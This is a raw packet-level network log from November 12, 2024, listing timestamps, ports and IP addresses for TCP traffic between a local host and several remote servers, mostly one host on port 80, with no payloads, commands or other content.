Nov 12, 2024 04:16:29.616009951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616024017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616035938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616044998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616046906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616061926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616072893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616074085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616086960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616089106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616105080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616112947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616122961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616134882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616141081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616144896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616156101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616163969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616166115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616177082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616188049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616192102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616206884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616214991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616218090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616230011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616230011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616241932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616252899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616257906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616265059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616276026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616281986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616286993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616297007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616300106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616308928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616319895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616327047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616338968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616338968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616352081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616360903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616364002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616374969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616386890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616391897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616401911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616404057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616421938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616429090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616436958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616446018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616453886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616457939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616470098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616481066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616482973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616492987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616507053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616508007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616516113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616518021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616529942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616542101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616548061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616558075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616569996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616574049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616580963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616584063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616594076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616604090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616611958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616616011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616626978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616641045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616657019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616689920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616702080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616712093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616723061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616728067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616738081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616749048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616751909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616787910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616796017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616801023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616821051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616835117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616847992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616862059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616867065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616878033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616889000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616905928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616911888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616921902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616923094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616935015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616947889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616967916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616970062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616977930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.616981983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.616992950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617007017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617017031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617017984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617038965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617043972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617053986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617082119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617113113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617124081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617151976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617152929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617167950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617187023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617316961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617328882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617338896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617362022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617388964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617429972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617441893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617451906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617463112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617474079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617479086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617507935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617532015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617592096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617593050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617604017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617626905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617657900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617669106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617695093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617717981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617763042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617774010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617784977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617795944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617809057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617814064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617825031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617832899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617834091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617860079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617861032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617872000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617882013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617891073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617897034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617907047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617909908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617918968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617928028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.617928028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617954969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.617978096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.618247986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.618257999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.618273973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.618288040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.618289948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.618302107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.618313074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.618314981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.618345022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.618370056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.630141020 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.630970955 CET	49809	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.630995989 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.631506920 CET	49809	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.631513119 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.633548021 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.634023905 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.634046078 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.634506941 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.634516954 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.647564888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647578001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647594929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647608042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647617102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647629976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647641897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647644997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.647658110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647690058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647697926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.647700071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647710085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.647712946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647726059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647744894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.647756100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647763968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.647768021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647780895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.647792101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.647819996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.669210911 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.670010090 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.670026064 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.670447111 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.670452118 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.693753004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.696564913 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.696983099 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.697002888 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.697494984 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.697499990 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.698522091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.706598997 CET	443	49813	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.706809044 CET	49813	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.706835985 CET	443	49813	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.707150936 CET	443	49813	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.708262920 CET	49813	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.708328009 CET	443	49813	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.722176075 CET	443	49814	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.722541094 CET	49814	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.722557068 CET	443	49814	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.722896099 CET	443	49814	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.723175049 CET	49814	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.723233938 CET	443	49814	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.768455982 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.768584967 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.768642902 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.768649101 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.768716097 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.768719912 CET	49809	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.780549049 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.780571938 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.780662060 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.780668974 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.782068014 CET	49809	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.782097101 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.782128096 CET	49809	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.782135010 CET	443	49809	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.789793968 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.789824009 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.789979935 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.790822983 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.790826082 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.790833950 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.790853024 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.791048050 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.791131973 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.791142941 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.804428101 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.804574013 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.805212021 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.805212021 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.805465937 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.805480957 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.808067083 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.808077097 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.808176041 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.808332920 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.808342934 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.812886953 CET	49814	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.812886953 CET	49813	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.825306892 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.825534105 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.825673103 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.825695038 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.825695992 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.825706959 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.825716972 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.828792095 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.828814030 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.829010963 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.830538988 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.830550909 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.840085030 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:29.840121984 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:29.840317011 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:29.844332933 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:29.844357967 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:29.882580042 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.883332014 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.883347034 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.883776903 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.883788109 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.968655109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.968672037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.968767881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.968767881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.968833923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.968913078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.968954086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969105959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969199896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969317913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969330072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969342947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969342947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969371080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969407082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969419003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969429970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969434977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969441891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969453096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969455957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969501019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969501019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969553947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969572067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969583988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969593048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969595909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969607115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969610929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969621897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969630003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969641924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969654083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969654083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969681025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969681025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969683886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969696999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969712973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969722033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969724894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969742060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969743967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969755888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969769001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969772100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969784975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969794989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969796896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969806910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969816923 CET	49750	80	192.168.2.5	185.215.113.206
